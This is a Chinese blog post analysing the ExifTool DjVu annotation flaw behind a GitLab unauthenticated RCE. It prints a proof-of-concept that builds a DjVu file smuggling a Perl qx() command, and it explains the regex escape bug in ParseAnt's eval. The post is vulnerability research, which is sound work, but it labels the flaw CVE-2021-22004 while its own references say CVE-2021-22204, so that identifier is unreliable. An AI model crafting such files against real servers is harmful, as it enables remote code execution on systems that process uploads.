GitLab 未授权 RCE 分析 Part 1:ExifTool

0x00 前言

前段时间 GitLab 的未授权 RCE 出来之后影响还是蛮大的,所以跟进学习一下

Gitlab 这个漏洞主要是两部分组成:

  1. exiftool RCE CVE-2021-22004
  2. Gitlab 未授权

今天先来分析一下 CVE-2021-22004 这个漏洞

0x01 漏洞利用

作者公布的 payload

printf 'P1 1 1 0' > moo.pbm
cjb2 moo.pbm moo.djvu
printf 'ANTa\x00\x00\x00\x39"(xmp(\\\n".qx(open /System/Applications/Calculator.app);#"' >> moo.djvu
./exiftool moo.djvu > /dev/null

\x39 为后面的长度

image-20211110214019763

0x02 漏洞分析

我这里使用的是 vulhub 中的 gitlab 环境,进入容器之后利用find命令全局寻找 exiftool,通过 -ver 获取版本信息为 10.80

image-20211107223121610

exiftool CVE-2021-22004 漏洞版本为:7.44 ~ 12.23 所以 gitlab 使用的 exiftool 为存在 RCE 的版本

首先去 Github 上看 exiftool 的 Commit 信息

可以看到在更新日志中提到了修复了一个安全漏洞

https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031

image-20211107223351878

exiftool 是 perl 写的,通过全局搜索 eval 定位到漏洞代码,下载代码进行分析(从 release 中进行下载)

image-20211107223733428

下载代码,找到对应的漏洞文件,全局搜索 eval qq 即可,从代码中可看到 eval ,那么肯定是前面的 $tok 绕过了正则,从而逃逸最终导致 RCE

这里看到注释中为 DjVu ,所以猜测是解析 DjVu 的地方

image-20211109173825763

在分析之前需要先了解一下 DjVu 是什么东西

DjVu 是由 AT&T 实验室自 1996 年起开发的一种图像压缩技术,已发展成为标准的图像文档格式之一,可替代 PDF 成为网络传输扫描文档、数码照片、图像文件的主流技术

首先需要知道这个函数是做什么的,全局搜索 ParseAnt ,发现在 ProcessAnt 函数中进行了调用

从最上面的注释中可得知该函数是来处理 DjVu 的注解块的

image-20211109204226639

但是注解块是啥..... 查阅文档找到了解释:

https://www.cuminas.jp/docs/techinfo/DjVu3Spec.pdf

所有类型的 DjVu 图像都可能包含注解块,注解块通常用于描述超链接、指定更多的查看器设置(背景、初始缩放等)以及可以保存元数据信息。注释块包含在 ANTa 或 ANTz 中

image-20211109204509840

所以个人理解注释块中会存放一些信息,所以 exiftool 需要对其进行解析,那么上面提到的 ANTa 和 ANTz 又是什么

ANTa就是代表我们的数据是明文存放的,ANTz 的话就会利用 BZZ 编码器来进行压缩

image-20211109151541922

下面来对比这两者之间的区别,用图片来进行展示

ANTa:

image-20211109205115116

ANTz:

image-20211109205046054

所以 ProcessAnt 这个函数就是对 ANTa 或 ANTz 的注解块来进行处理,具体处理调用了 ParseAnt

image-20211109205219679

既然知道了函数大致是做什么的接下来就可以进行分析漏洞出现的原因了,再来看这个漏洞点,其实主要是红框部分

image-20211109205543074

Tok: for (;;) {
        last unless $$dataPt =~ /(\S)/sg; # 单行全局匹配非空格字符 
        if ($1 eq '(') {       
          ...
        } elsif ($1 eq ')') {
            ...
        } elsif ($1 eq '"') {  
            $tok = '';
            for (;;) {
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg; # 处理多个 " 的情况 
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos); 
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01; # 检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分
                $tok .= '"';   
            }
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # 在传给qq之前,转义特定字符
            $tok = eval qq{"$tok"};
        } else {....}
        push @toks, $tok if defined $tok;
    }

检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分

last unless $tok =~ /(\\+)$/ and length($1) & 0x01; 

我这里举个例子:

偶数情况,代表正确转义

"xxxx\\"

奇数情况,这样就没有被正确转义,所以就会在最后加上 \"

"xxxx\"

问题其实就出在这里,当我们提供这样输入时 \\\n",一个反斜杠,一个换行,一个双引号

由于 perl 的正则,$:从字符串的末尾开始匹配(或者新一行前面的字符串末尾)

image-20211110212615169

所以 \\\n" 中的第一个 \ 就会被视为对 " 的转义,从而导致逃逸

有可能这样感觉不直观所以就修改代码,这样能更加清楚

image-20211110213409953

ANTa\x00\x00\x00\x39"(xmp(\\\n".qx(open /System/Applications/Calculator.app);#  \n 造成了换行,于是 \\ 为偶数,正则就判断转成功义
ANTa\x00\x00\x00\x39"(xmp(\
".qx(open /System/Applications/Calculator.app);# \\ => \ ," 就闭合掉了前面的引号,导致逃逸

命令执行

image-20211110214122367

0x03 参考链接

https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

https://wx.zsxq.com/dweb2/index/topic_detail/815145844851552

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇